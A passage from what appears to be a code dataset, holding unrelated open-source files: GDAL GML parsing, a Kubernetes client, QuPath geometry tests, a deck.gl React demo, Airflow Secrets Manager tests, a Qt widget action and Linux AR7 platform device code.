pasGeometryNames[nMiddle].pszName) == 0;\n if (nHash < pasGeometryNames[nMiddle].nHash)\n nLast = nMiddle - 1;\n else\n nFirst = nMiddle + 1;\n } while(nFirst <= nLast);\n\n if (eAppSchemaType == APPSCHEMA_AIXM &&\n strcmp( pszElement, \"ElevatedPoint\") == 0)\n return TRUE;\n\n if( eAppSchemaType == APPSCHEMA_MTKGML &&\n ( strcmp( pszElement, \"Piste\") == 0 ||\n strcmp( pszElement, \"Alue\") == 0 ||\n strcmp( pszElement, \"Murtoviiva\") == 0 ) )\n return TRUE;\n\n return FALSE;\n}\n"} +{"text": "/*\nCopyright 2016 The Kubernetes Authors.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage v1beta1\n\nimport (\n\tauthorizationapi \"k8s.io/api/authorization/v1beta1\"\n)\n\ntype LocalSubjectAccessReviewExpansion interface {\n\tCreate(sar *authorizationapi.LocalSubjectAccessReview) (result *authorizationapi.LocalSubjectAccessReview, err error)\n}\n\nfunc (c *localSubjectAccessReviews) Create(sar *authorizationapi.LocalSubjectAccessReview) (result *authorizationapi.LocalSubjectAccessReview, err error) {\n\tresult = &authorizationapi.LocalSubjectAccessReview{}\n\terr = c.client.Post().\n\t\tNamespace(c.ns).\n\t\tResource(\"localsubjectaccessreviews\").\n\t\tBody(sar).\n\t\tDo().\n\t\tInto(result)\n\treturn\n}\n"} +{"text": "/*-\n * #%L\n * This file is part of QuPath.\n * %%\n * Copyright (C) 2018 - 2020 QuPath developers, The University of Edinburgh\n * %%\n * QuPath is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n * \n * QuPath is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License \n * along with QuPath. If not, see .\n * #L%\n */\n\npackage qupath.lib.roi;\n\nimport static org.junit.jupiter.api.Assertions.assertArrayEquals;\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNotEquals;\nimport static org.junit.jupiter.api.Assertions.assertTrue;\nimport static org.junit.jupiter.api.Assertions.fail;\n\nimport java.awt.geom.AffineTransform;\nimport java.io.File;\nimport java.io.InputStream;\nimport java.io.ObjectInputStream;\nimport java.nio.file.Files;\nimport java.util.ArrayList;\nimport java.util.stream.Collectors;\n\nimport org.junit.jupiter.api.Test;\nimport org.locationtech.jts.geom.Coordinate;\nimport org.locationtech.jts.geom.Polygon;\nimport org.locationtech.jts.geom.util.AffineTransformation;\n\nimport qupath.lib.objects.hierarchy.PathObjectHierarchy;\n\n/**\n * Test {@link GeometryTools}. Note that most of the relevant tests for ROI conversion are in {@link TestROIs}.\n */\npublic class TestGeometryTools {\n\t\n\t/**\n\t * Compare conversion of {@link AffineTransform} and {@link AffineTransformation} objects.\n\t */\n\t@Test\n\tpublic void testAffineTransforms() {\n\t\t\n\t\tdouble[] source = new double[] {1.3, 2.7};\n\t\t\n\t\tdouble[] destTransform = new double[source.length];\n\t\tvar transform = AffineTransform.getScaleInstance(2.0, 0.5);\n\t\ttransform.rotate(0.5);\n\t\ttransform.translate(-20, 42);\n\t\ttransform.transform(source, 0, destTransform, 0, source.length/2);\n\t\t\n\t\tvar transformation = GeometryTools.convertTransform(transform);\n\t\tvar c = new Coordinate(source[0], source[1]);\n\t\ttransformation.transform(c, c);\n\t\tdouble[] destTransformation = new double[] {c.x, c.y};\n\t\t\n\t\tvar transformBack = GeometryTools.convertTransform(transformation);\n\t\tdouble[] matBefore = new double[6];\n\t\tdouble[] matAfter = new double[6];\n\t\ttransform.getMatrix(matBefore);\n\t\ttransformBack.getMatrix(matAfter);\n\t\t\n\t\tassertArrayEquals(destTransform, destTransformation, 0.001);\n\t\tassertArrayEquals(matBefore, matAfter, 0.001);\n\t\t\n\t}\n\t\n\t/**\n\t * Check we can perform various geometry changes while remaining valid\n\t */\n\t@Test\n\tpublic void testComplexROIs() {\n\t\t\n\t\tFile fileHierarchy = new File(\"src/test/resources/data/test-objects.hierarchy\");\n\t\ttry (InputStream stream = Files.newInputStream(fileHierarchy.toPath())) {\n\t\t\tvar hierarchy = (PathObjectHierarchy)new ObjectInputStream(stream).readObject();\n\t\t\tvar geometries = hierarchy.getFlattenedObjectList(null).stream().filter(p -> p.hasROI()).map(p -> p.getROI().getGeometry()).collect(Collectors.toCollection(() -> new ArrayList<>()));\n\t\t\t\n\t\t\t// Include some extra geometries that we know can be troublesome\n\t\t\tvar rectangle = GeometryTools.createRectangle(0, 0, 100, 100);\n\t\t\tvar ring = (Polygon)rectangle.buffer(100).difference(rectangle);\n\t\t\tgeometries.add(ring);\n\t\t\tvar nested = ring.union(rectangle.buffer(-40));\n\t\t\tgeometries.add(nested);\n\t\t\tvar nested2 = nested.difference(rectangle.buffer(-45));\n\t\t\tgeometries.add(nested2);\n\t\t\t\n\t\t\tvar filledNested = (Polygon)GeometryTools.fillHoles(nested);\n\t\t\tassertNotEquals(nested.getArea(), filledNested.getArea());\n\t\t\tassertNotEquals(nested.getNumGeometries(), 1);\n\t\t\tassertEquals(filledNested.getNumInteriorRing(), 0);\n\t\t\tassertEquals(filledNested.getArea(), GeometryTools.externalRingArea(filledNested));\n\n\t\t\tvar filledNested2 = (Polygon)GeometryTools.fillHoles(nested2);\n\t\t\tassertNotEquals(nested2.getArea(), filledNested2.getArea());\n\t\t\tassertNotEquals(nested2.getNumGeometries(), 1);\n\t\t\tassertEquals(filledNested2.getNumInteriorRing(), 0);\n\t\t\tassertEquals(filledNested2.getArea(), GeometryTools.externalRingArea(filledNested2));\n\n\t\t\tfor (var geom : geometries) {\n\t\t\t\t\n\t\t\t\tassertTrue(geom.isValid());\n\t\t\t\t\n\t\t\t\tvar geom2 = GeometryTools.fillHoles(geom);\n\t\t\t\tassertTrue(geom2.isValid());\n\t\t\t\t\n\t\t\t\tgeom2 = GeometryTools.removeFragments(geom, geom.getArea()/2);\n\t\t\t\tassertTrue(geom2.isValid());\n\n\t\t\t\tgeom2 = GeometryTools.refineAreas(geom, geom.getArea()/2, geom.getArea()/2);\n\t\t\t\tassertTrue(geom2.isValid());\n\t\t\t\t\n\t\t\t\tgeom2 = GeometryTools.ensurePolygonal(geom);\n\t\t\t\tassertTrue(geom2.isValid());\t\t\t\n\t\t\t}\n\t\t\tvar geom2 = GeometryTools.union(geometries);\n\t\t\tassertTrue(geom2.isValid());\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t\tfail(e.getLocalizedMessage());\n\t\t}\n\t\t\n\t}\n\t\n\n}"} +{"text": "//------------------------------------------------------------------------------\n// \n// This code was generated from a template.\n//\n// Manual changes to this file may cause unexpected behavior in your application.\n// Manual changes to this file will be overwritten if the code is regenerated.\n// \n//------------------------------------------------------------------------------\n\n"} +{"text": "import React, {PureComponent, Fragment} from 'react';\nimport DeckGL from '@deck.gl/react';\nimport {AmbientLight, DirectionalLight, LightingEffect} from '@deck.gl/core';\nimport {StaticMap} from 'react-map-gl';\nimport {SolidPolygonLayer} from '@deck.gl/layers';\nimport WBOITLayer from './wboit-layer/wboit-layer';\n\nconst INITIAL_VIEW_STATE = {\n latitude: 37.78,\n longitude: -122.45,\n zoom: 12,\n bearing: 60,\n pitch: 60\n};\n\nconst data = [\n {\n type: 'Feature',\n properties: {\n elevation: 1000,\n fillColor: [200, 0, 0]\n },\n geometry: {\n type: 'Polygon',\n coordinates: [\n [\n [-122.48027965423081, 37.829867098561465, 2000],\n [-122.47809493799619, 37.81005779676214, 2000],\n [-122.47558250383605, 37.81012990109551, 2000],\n [-122.47793275748633, 37.83010787870729, 2000],\n [-122.48027965423081, 37.829867098561465, 2000]\n ]\n ]\n }\n },\n {\n type: 'Feature',\n properties: {\n elevation: 2500,\n fillColor: [200, 0, 0]\n },\n geometry: {\n type: 'Polygon',\n coordinates: [\n [\n [-122.4807592721423, 37.83148659090809],\n [-122.48042337175899, 37.830085010427176],\n [-122.47769563278436, 37.83049279439961],\n [-122.47803148135057, 37.83189437487894],\n [-122.4807592721423, 37.83148659090809]\n ]\n ]\n }\n },\n {\n type: 'Feature',\n properties: {\n elevation: 2500,\n fillColor: [200, 0, 0]\n },\n geometry: {\n type: 'Polygon',\n coordinates: [\n [\n [-122.47796926383656, 37.809650033000324],\n [-122.47796926383656, 37.80803536584605],\n [-122.47501561198487, 37.80803532897342],\n [-122.47501554739789, 37.80964999612554],\n [-122.47796926383656, 37.809650033000324]\n ]\n ]\n }\n }\n];\n\nexport default class App extends PureComponent {\n constructor(props) {\n super(props);\n this.state = {\n opacity: 0.5,\n wireframe: true,\n lightMode: 2,\n wboit: true\n };\n }\n\n render() {\n const {opacity, wireframe, lightMode, wboit} = this.state;\n\n let material = true;\n let lightingEffect = new LightingEffect();\n\n if (lightMode === 2) {\n // Ambient Light only / Flat\n material = {\n ambient: 1.0,\n diffuse: 0.0,\n shininess: 32,\n specularColor: [255, 255, 255]\n };\n\n lightingEffect = new LightingEffect({\n light1: new AmbientLight({\n color: [255, 255, 255],\n intensity: 1.0\n })\n });\n } else if (lightMode === 3) {\n // Single Directional\n material = {\n ambient: 0.5,\n diffuse: 0.5,\n shininess: 32,\n specularColor: [255, 255, 255]\n };\n\n lightingEffect = new LightingEffect({\n light1: new AmbientLight({\n color: [255, 255, 255],\n intensity: 1.0\n }),\n light2: new DirectionalLight({\n color: [255, 255, 255],\n intensity: 1.0,\n direction: [1, 1, 0]\n })\n });\n }\n\n const options = {\n data,\n getPolygon: f => f.geometry.coordinates,\n getFillColor: f => f.properties.fillColor,\n getLineColor: f => [0, 0, 0, 255],\n getElevation: f => f.properties.elevation,\n pickable: false,\n extruded: true,\n opacity,\n wireframe,\n material\n };\n\n const layers = [];\n if (wboit) {\n layers.push(new WBOITLayer({id: 'WBOITLayer', ...options}));\n } else {\n layers.push(new SolidPolygonLayer({id: 'SolidPolygonLayer', ...options}));\n }\n\n const mkButton = (label, name, value) => (\n this.setState({[name]: value})}\n >\n {label}\n \n );\n\n return (\n \n \n \n \n

\n {mkButton('Opacity 25%', 'opacity', 0.25)}\n {mkButton('Opacity 50%', 'opacity', 0.5)}\n {mkButton('Opacity 75%', 'opacity', 0.75)}\n {mkButton('Opacity 100%', 'opacity', 1.0)}\n\n {mkButton('Wireframe ON', 'wireframe', true)}\n {mkButton('Wireframe OFF', 'wireframe', false)}\n\n {mkButton('Default Light', 'lightMode', 1)}\n {mkButton('Flat Light', 'lightMode', 2)}\n {mkButton('Single Light', 'lightMode', 3)}\n\n {mkButton('WBOITLayer', 'wboit', true)}\n {mkButton('SolidPolygonLayer', 'wboit', false)}\n
\n \n );\n }\n}\n"} +{"text": "# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\nfrom unittest import TestCase, mock\n\nfrom moto import mock_secretsmanager\n\nfrom airflow.providers.amazon.aws.secrets.secrets_manager import SecretsManagerBackend\n\n\nclass TestSecretsManagerBackend(TestCase):\n @mock.patch(\"airflow.providers.amazon.aws.secrets.secrets_manager.SecretsManagerBackend.get_conn_uri\")\n def test_aws_secrets_manager_get_connections(self, mock_get_uri):\n mock_get_uri.return_value = \"scheme://user:pass@host:100\"\n conn_list = SecretsManagerBackend().get_connections(\"fake_conn\")\n conn = conn_list[0]\n assert conn.host == 'host'\n\n @mock_secretsmanager\n def test_get_conn_uri(self):\n param = {\n 'SecretId': 'airflow/connections/test_postgres',\n 'SecretString': 'postgresql://airflow:airflow@host:5432/airflow',\n }\n\n secrets_manager_backend = SecretsManagerBackend()\n secrets_manager_backend.client.put_secret_value(**param)\n\n returned_uri = secrets_manager_backend.get_conn_uri(conn_id=\"test_postgres\")\n self.assertEqual('postgresql://airflow:airflow@host:5432/airflow', returned_uri)\n\n @mock_secretsmanager\n def test_get_conn_uri_non_existent_key(self):\n \"\"\"\n Test that if the key with connection ID is not present,\n SecretsManagerBackend.get_connections should return None\n \"\"\"\n conn_id = \"test_mysql\"\n param = {\n 'SecretId': 'airflow/connections/test_postgres',\n 'SecretString': 'postgresql://airflow:airflow@host:5432/airflow',\n }\n\n secrets_manager_backend = SecretsManagerBackend()\n secrets_manager_backend.client.put_secret_value(**param)\n\n self.assertIsNone(secrets_manager_backend.get_conn_uri(conn_id=conn_id))\n self.assertEqual([], secrets_manager_backend.get_connections(conn_id=conn_id))\n\n @mock_secretsmanager\n def test_get_variable(self):\n param = {'SecretId': 'airflow/variables/hello', 'SecretString': 'world'}\n\n secrets_manager_backend = SecretsManagerBackend()\n secrets_manager_backend.client.put_secret_value(**param)\n\n returned_uri = secrets_manager_backend.get_variable('hello')\n self.assertEqual('world', returned_uri)\n\n @mock_secretsmanager\n def test_get_variable_non_existent_key(self):\n \"\"\"\n Test that if Variable key is not present,\n SystemsManagerParameterStoreBackend.get_variables should return None\n \"\"\"\n param = {'SecretId': 'airflow/variables/hello', 'SecretString': 'world'}\n\n secrets_manager_backend = SecretsManagerBackend()\n secrets_manager_backend.client.put_secret_value(**param)\n\n self.assertIsNone(secrets_manager_backend.get_variable(\"test_mysql\"))\n"} +{"text": "// Copyright 2020 The VGC Developers\n// See the COPYRIGHT file at the top-level directory of this distribution\n// and at https://github.com/vgc/vgc/blob/master/COPYRIGHT\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include \n\nnamespace vgc {\nnamespace widgets {\n\nToggleViewAction::ToggleViewAction(\n const QString& text,\n QWidget* widget,\n QObject* parent) :\n QAction(text, parent),\n widget_(widget)\n{\n setCheckable(true);\n setChecked(widget->isVisibleTo(widget->parentWidget()));\n connect(this, &QAction::toggled, this, &ToggleViewAction::onToggled_);\n\n // TODO we should add an eventFilter that listens to the ShowToParent and\n // HideToParent events of widget, so that we can react accordingly when the\n // value of `widget->isVisibleTo(widget->parentWidget())` changes due to\n // some code calling `widget->show()` or `widget->hide()` directly, without\n // using this ToggleViewAction.\n\n // TODO We should also probably listen to ParentChange and/or\n // ParentAboutToChange. See comment in the implementation of\n // PanelArea::addPanel().\n}\n\nvoid ToggleViewAction::onToggled_(bool checked)\n{\n widget_->setVisible(checked);\n}\n\n} // namespace widgets\n} // namespace vgc\n"} +{"text": "/*\n * Copyright (C) 2006,2007 Felix Fietkau \n * Copyright (C) 2006,2007 Eugene Konev \n *\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n */\n\n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \n#include \n#include \n#include \n\nstruct plat_vlynq_data {\n\tstruct plat_vlynq_ops ops;\n\tint gpio_bit;\n\tint reset_bit;\n};\n\n\nstatic int vlynq_on(struct vlynq_device *dev)\n{\n\tint result;\n\tstruct plat_vlynq_data *pdata = dev->dev.platform_data;\n\n\tresult = gpio_request(pdata->gpio_bit, \"vlynq\");\n\tif (result)\n\t\tgoto out;\n\n\tar7_device_reset(pdata->reset_bit);\n\n\tresult = ar7_gpio_disable(pdata->gpio_bit);\n\tif (result)\n\t\tgoto out_enabled;\n\n\tresult = ar7_gpio_enable(pdata->gpio_bit);\n\tif (result)\n\t\tgoto out_enabled;\n\n\tresult = gpio_direction_output(pdata->gpio_bit, 0);\n\tif (result)\n\t\tgoto out_gpio_enabled;\n\n\tmsleep(50);\n\n\tgpio_set_value(pdata->gpio_bit, 1);\n\tmsleep(50);\n\n\treturn 0;\n\nout_gpio_enabled:\n\tar7_gpio_disable(pdata->gpio_bit);\nout_enabled:\n\tar7_device_disable(pdata->reset_bit);\n\tgpio_free(pdata->gpio_bit);\nout:\n\treturn result;\n}\n\nstatic void vlynq_off(struct vlynq_device *dev)\n{\n\tstruct plat_vlynq_data *pdata = dev->dev.platform_data;\n\tar7_gpio_disable(pdata->gpio_bit);\n\tgpio_free(pdata->gpio_bit);\n\tar7_device_disable(pdata->reset_bit);\n}\n\nstatic struct resource physmap_flash_resource = {\n\t.name = \"mem\",\n\t.flags = IORESOURCE_MEM,\n\t.start = 0x10000000,\n\t.end = 0x107fffff,\n};\n\nstatic struct resource cpmac_low_res[] = {\n\t{\n\t\t.name = \"regs\",\n\t\t.flags = IORESOURCE_MEM,\n\t\t.start = AR7_REGS_MAC0,\n\t\t.end = AR7_REGS_MAC0 + 0x7ff,\n\t},\n\t{\n\t\t.name = \"irq\",\n\t\t.flags = IORESOURCE_IRQ,\n\t\t.start = 27,\n\t\t.end = 27,\n\t},\n};\n\nstatic struct resource cpmac_high_res[] = {\n\t{\n\t\t.name = \"regs\",\n\t\t.flags = IORESOURCE_MEM,\n\t\t.start = AR7_REGS_MAC1,\n\t\t.end = AR7_REGS_MAC1 + 0x7ff,\n\t},\n\t{\n\t\t.name = \"irq\",\n\t\t.flags = IORESOURCE_IRQ,\n\t\t.start = 41,\n\t\t.end = 41,\n\t},\n};\n\nstatic struct resource vlynq_low_res[] = {\n\t{\n\t\t.name = \"regs\",\n\t\t.flags = IORESOURCE_MEM,\n\t\t.start = AR7_REGS_VLYNQ0,\n\t\t.end = AR7_REGS_VLYNQ0 + 0xff,\n\t},\n\t{\n\t\t.name = \"irq\",\n\t\t.flags = IORESOURCE_IRQ,\n\t\t.start = 29,\n\t\t.end = 29,\n\t},\n\t{\n\t\t.name = \"mem\",\n\t\t.flags = IORESOURCE_MEM,\n\t\t.start = 0x04000000,\n\t\t.end = 0x04ffffff,\n\t},\n\t{\n\t\t.name = \"devirq\",\n\t\t.flags = IORESOURCE_IRQ,\n\t\t.start = 80,\n\t\t.end = 111,\n\t},\n};\n\nstatic struct resource vlynq_high_res[] = {\n\t{\n\t\t.name = \"regs\",\n\t\t.flags = IORESOURCE_MEM,\n\t\t.start = AR7_REGS_VLYNQ1,\n\t\t.end = AR7_REGS_VLYNQ1 + 0xff,\n\t},\n\t{\n\t\t.name = \"irq\",\n\t\t.flags = IORESOURCE_IRQ,\n\t\t.start = 33,\n\t\t.end = 33,\n\t},\n\t{\n\t\t.name = \"mem\",\n\t\t.flags = IORESOURCE_MEM,\n\t\t.start = 0x0c000000,\n\t\t.end = 0x0cffffff,\n\t},\n\t{\n\t\t.name = \"devirq\",\n\t\t.flags = IORESOURCE_IRQ,\n\t\t.start = 112,\n\t\t.end = 143,\n\t},\n};\n\nstatic struct resource usb_res[] = {\n\t{\n\t\t.name = \"regs\",\n\t\t.flags = IORESOURCE_MEM,\n\t\t.start = AR7_REGS_USB,\n\t\t.end = AR7_REGS_USB + 0xff,\n\t},\n\t{\n\t\t.name = \"irq\",\n\t\t.flags = IORESOURCE_IRQ,\n\t\t.start = 32,\n\t\t.end = 32,\n\t},\n\t{\n\t\t.name = \"mem\",\n\t\t.flags = IORESOURCE_MEM,\n\t\t.start = 0x03400000,\n\t\t.end = 0x034001fff,\n\t},\n};\n\nstatic struct physmap_flash_data physmap_flash_data = {\n\t.width = 2,\n};\n\nstatic struct fixed_phy_status fixed_phy_status __initdata = {\n\t.link = 1,\n\t.speed = 100,\n\t.duplex = 1,\n};\n\nstatic struct plat_cpmac_data cpmac_low_data = {\n\t.reset_bit = 17,\n\t.power_bit = 20,\n\t.phy_mask = 0x80000000,\n};\n\nstatic struct plat_cpmac_data cpmac_high_data = {\n\t.reset_bit = 21,\n\t.power_bit = 22,\n\t.phy_mask = 0x7fffffff,\n};\n\nstatic struct plat_vlynq_data vlynq_low_data = {\n\t.ops.on = vlynq_on,\n\t.ops.off = vlynq_off,\n\t.reset_bit = 20,\n\t.gpio_bit = 18,\n};\n\nstatic struct plat_vlynq_data vlynq_high_data = {\n\t.ops.on = vlynq_on,\n\t.ops.off = vlynq_off,\n\t.reset_bit = 16,\n\t.gpio_bit = 19,\n};\n\nstatic struct platform_device physmap_flash = {\n\t.id = 0,\n\t.name = \"physmap-flash\",\n\t.dev.platform_data = &physmap_flash_data,\n\t.resource = &physmap_flash_resource,\n\t.num_resources = 1,\n};\n\nstatic u64 cpmac_dma_mask = DMA_BIT_MASK(32);\nstatic struct platform_device cpmac_low = {\n\t.id = 0,\n\t.name = \"cpmac\",\n\t.dev = {\n\t\t.dma_mask = &cpmac_dma_mask,\n\t\t.coherent_dma_mask = DMA_BIT_MASK(32),\n\t\t.platform_data = &cpmac_low_data,\n\t},\n\t.resource = cpmac_low_res,\n\t.num_resources = ARRAY_SIZE(cpmac_low_res),\n};\n\nstatic struct platform_device cpmac_high = {\n\t.id = 1,\n\t.name = \"cpmac\",\n\t.dev = {\n\t\t.dma_mask = &cpmac_dma_mask,\n\t\t.coherent_dma_mask = DMA_BIT_MASK(32),\n\t\t.platform_data = &cpmac_high_data,\n\t},\n\t.resource = cpmac_high_res,\n\t.num_resources = ARRAY_SIZE(cpmac_high_res),\n};\n\nstatic struct platform_device vlynq_low = {\n\t.id = 0,\n\t.name = \"vlynq\",\n\t.dev.platform_data = &vlynq_low_data,\n\t.resource = vlynq_low_res,\n\t.num_resources = ARRAY_SIZE(vlynq_low_res),\n};\n\nstatic struct platform_device vlynq_high = {\n\t.id = 1,\n\t.name = \"vlynq\",\n\t.dev.platform_data = &vlynq_high_data,\n\t.resource = vlynq_high_res,\n\t.num_resources = ARRAY_SIZE(vlynq_high_res),\n};\n\n\nstatic struct gpio_led default_leds[] = {\n\t{\n\t\t.name = \"status\",\n\t\t.gpio = 8,\n\t\t.active_low = 1,\n\t},\n};\n\nstatic struct gpio_led dsl502t_leds[] = {\n\t{\n\t\t.name = \"status\",\n\t\t.gpio = 9,\n\t\t.active_low = 1,\n\t},\n\t{\n\t\t.name = \"ethernet\",\n\t\t.gpio = 7,\n\t\t.active_low = 1,\n\t},\n\t{\n\t\t.name = \"usb\",\n\t\t.gpio = 12,\n\t\t.active_low = 1,\n\t},\n};\n\nstatic struct gpio_led dg834g_leds[] = {\n\t{\n\t\t.name = \"ppp\",\n\t\t.gpio = 6,\n\t\t.active_low = 1,\n\t},\n\t{\n\t\t.name = \"status\",\n\t\t.gpio = 7,\n\t\t.active_low = 1,\n\t},\n\t{\n\t\t.name = \"adsl\",\n\t\t.gpio = 8,\n\t\t.active_low = 1,\n\t},\n\t{\n\t\t.name = \"wifi\",\n\t\t.gpio = 12,\n\t\t.active_low = 1,\n\t},\n\t{\n\t\t.name = \"power\",\n\t\t.gpio = 14,\n\t\t.active_low = 1,\n\t\t.default_trigger = \"default-on\",\n\t},\n};\n\nstatic struct gpio_led fb_sl_leds[] = {\n\t{\n\t\t.name = \"1\",\n\t\t.gpio = 7,\n\t},\n\t{\n\t\t.name = \"2\",\n\t\t.gpio = 13,\n\t\t.active_low = 1,\n\t},\n\t{\n\t\t.name = \"3\",\n\t\t.gpio = 10,\n\t\t.active_low = 1,\n\t},\n\t{\n\t\t.name = \"4\",\n\t\t.gpio = 12,\n\t\t.active_low = 1,\n\t},\n\t{\n\t\t.name = \"5\",\n\t\t.gpio = 9,\n\t\t.active_low = 1,\n\t},\n};\n\nstatic struct gpio_led fb_fon_leds[] = {\n\t{\n\t\t.name = \"1\",\n\t\t.gpio = 8,\n\t},\n\t{\n\t\t.name = \"2\",\n\t\t.gpio = 3,\n\t\t.active_low = 1,\n\t},\n\t{\n\t\t.name = \"3\",\n\t\t.gpio = 5,\n\t},\n\t{\n\t\t.name = \"4\",\n\t\t.gpio = 4,\n\t\t.active_low = 1,\n\t},\n\t{\n\t\t.name = \"5\",\n\t\t.gpio = 11,\n\t\t.active_low = 1,\n\t},\n};\n\nstatic struct gpio_led_platform_data ar7_led_data;\n\nstatic struct platform_device ar7_gpio_leds = {\n\t.name = \"leds-gpio\",\n\t.id = -1,\n\t.dev = {\n\t\t.platform_data = &ar7_led_data,\n\t}\n};\n\nstatic struct platform_device ar7_udc = {\n\t.id = -1,\n\t.name = \"ar7_udc\",\n\t.resource = usb_res,\n\t.num_resources = ARRAY_SIZE(usb_res),\n};\n\nstatic struct resource ar7_wdt_res = {\n\t.name = \"regs\",\n\t.start = -1, /* Filled at runtime */\n\t.end = -1, /* Filled at runtime */\n\t.flags = IORESOURCE_MEM,\n};\n\nstatic struct platform_device ar7_wdt = {\n\t.id = -1,\n\t.name = \"ar7_wdt\",\n\t.resource = &ar7_wdt_res,\n\t.num_resources = 1,\n};\n\nstatic inline unsigned char char2hex(char h)\n{\n\tswitch (h) {\n\tcase '0': case '1': case '2': case '3': case '4':\n\tcase '5': case '6': case '7': case '8': case '9':\n\t\treturn h - '0';\n\tcase 'A': case 'B': case 'C': case 'D': case 'E': case 'F':\n\t\treturn h - 'A' + 10;\n\tcase 'a': case 'b': case 'c': case 'd': case 'e': case 'f':\n\t\treturn h - 'a' + 10;\n\tdefault:\n\t\treturn 0;\n\t}\n}\n\nstatic void cpmac_get_mac(int instance, unsigned char *dev_addr)\n{\n\tint i;\n\tchar name[5], default_mac[ETH_ALEN], *mac;\n\n\tmac = NULL;\n\tsprintf(name, \"mac%c\", 'a' + instance);\n\tmac = prom_getenv(name);\n\tif (!mac) {\n\t\tsprintf(name, \"mac%c\", 'a');\n\t\tmac = prom_getenv(name);\n\t}\n\tif (!mac) {\n\t\trandom_ether_addr(default_mac);\n\t\tmac = default_mac;\n\t}\n\tfor (i = 0; i < 6; i++)\n\t\tdev_addr[i] = (char2hex(mac[i * 3]) << 4) +\n\t\t\tchar2hex(mac[i * 3 + 1]);\n}\n\nstatic void __init detect_leds(void)\n{\n\tchar *prid, *usb_prod;\n\n\t/* Default LEDs\t*/\n\tar7_led_data.num_leds = ARRAY_SIZE(default_leds);\n\tar7_led_data.leds = default_leds;\n\n\t/* FIXME: the whole thing is unreliable */\n\tprid = prom_getenv(\"ProductID\");\n\tusb_prod = prom_getenv(\"usb_prod\");\n\n\t/* If we can't get the product id from PROM, use the default LEDs */\n\tif (!prid)\n\t\treturn;\n\n\tif (strstr(prid, \"Fritz_Box_FON\")) {\n\t\tar7_led_data.num_leds = ARRAY_SIZE(fb_fon_leds);\n\t\tar7_led_data.leds = fb_fon_leds;\n\t} else if (strstr(prid, \"Fritz_Box_\")) {\n\t\tar7_led_data.num_leds = ARRAY_SIZE(fb_sl_leds);\n\t\tar7_led_data.leds = fb_sl_leds;\n\t} else if ((!strcmp(prid, \"AR7RD\") || !strcmp(prid, \"AR7DB\"))\n\t\t&& usb_prod != NULL && strstr(usb_prod, \"DSL-502T\")) {\n\t\tar7_led_data.num_leds = ARRAY_SIZE(dsl502t_leds);\n\t\tar7_led_data.leds = dsl502t_leds;\n\t} else if (strstr(prid, \"DG834\")) {\n\t\tar7_led_data.num_leds = ARRAY_SIZE(dg834g_leds);\n\t\tar7_led_data.leds = dg834g_leds;\n\t}\n}\n\nstatic int __init ar7_register_devices(void)\n{\n\tu16 chip_id;\n\tint res;\n\tu32 *bootcr, val;\n#ifdef CONFIG_SERIAL_8250\n\tstatic struct uart_port uart_port[2];\n\n\tmemset(uart_port, 0, sizeof(struct uart_port) * 2);\n\n\tuart_port[0].type = PORT_16550A;\n\tuart_port[0].line = 0;\n\tuart_port[0].irq = AR7_IRQ_UART0;\n\tuart_port[0].uartclk = ar7_bus_freq() / 2;\n\tuart_port[0].iotype = UPIO_MEM32;\n\tuart_port[0].mapbase = AR7_REGS_UART0;\n\tuart_port[0].membase = ioremap(uart_port[0].mapbase, 256);\n\tuart_port[0].regshift = 2;\n\tres = early_serial_setup(&uart_port[0]);\n\tif (res)\n\t\treturn res;\n\n\n\t/* Only TNETD73xx have a second serial port */\n\tif (ar7_has_second_uart()) {\n\t\tuart_port[1].type = PORT_16550A;\n\t\tuart_port[1].line = 1;\n\t\tuart_port[1].irq = AR7_IRQ_UART1;\n\t\tuart_port[1].uartclk = ar7_bus_freq() / 2;\n\t\tuart_port[1].iotype = UPIO_MEM32;\n\t\tuart_port[1].mapbase = UR8_REGS_UART1;\n\t\tuart_port[1].membase = ioremap(uart_port[1].mapbase, 256);\n\t\tuart_port[1].regshift = 2;\n\t\tres = early_serial_setup(&uart_port[1]);\n\t\tif (res)\n\t\t\treturn res;\n\t}\n#endif /* 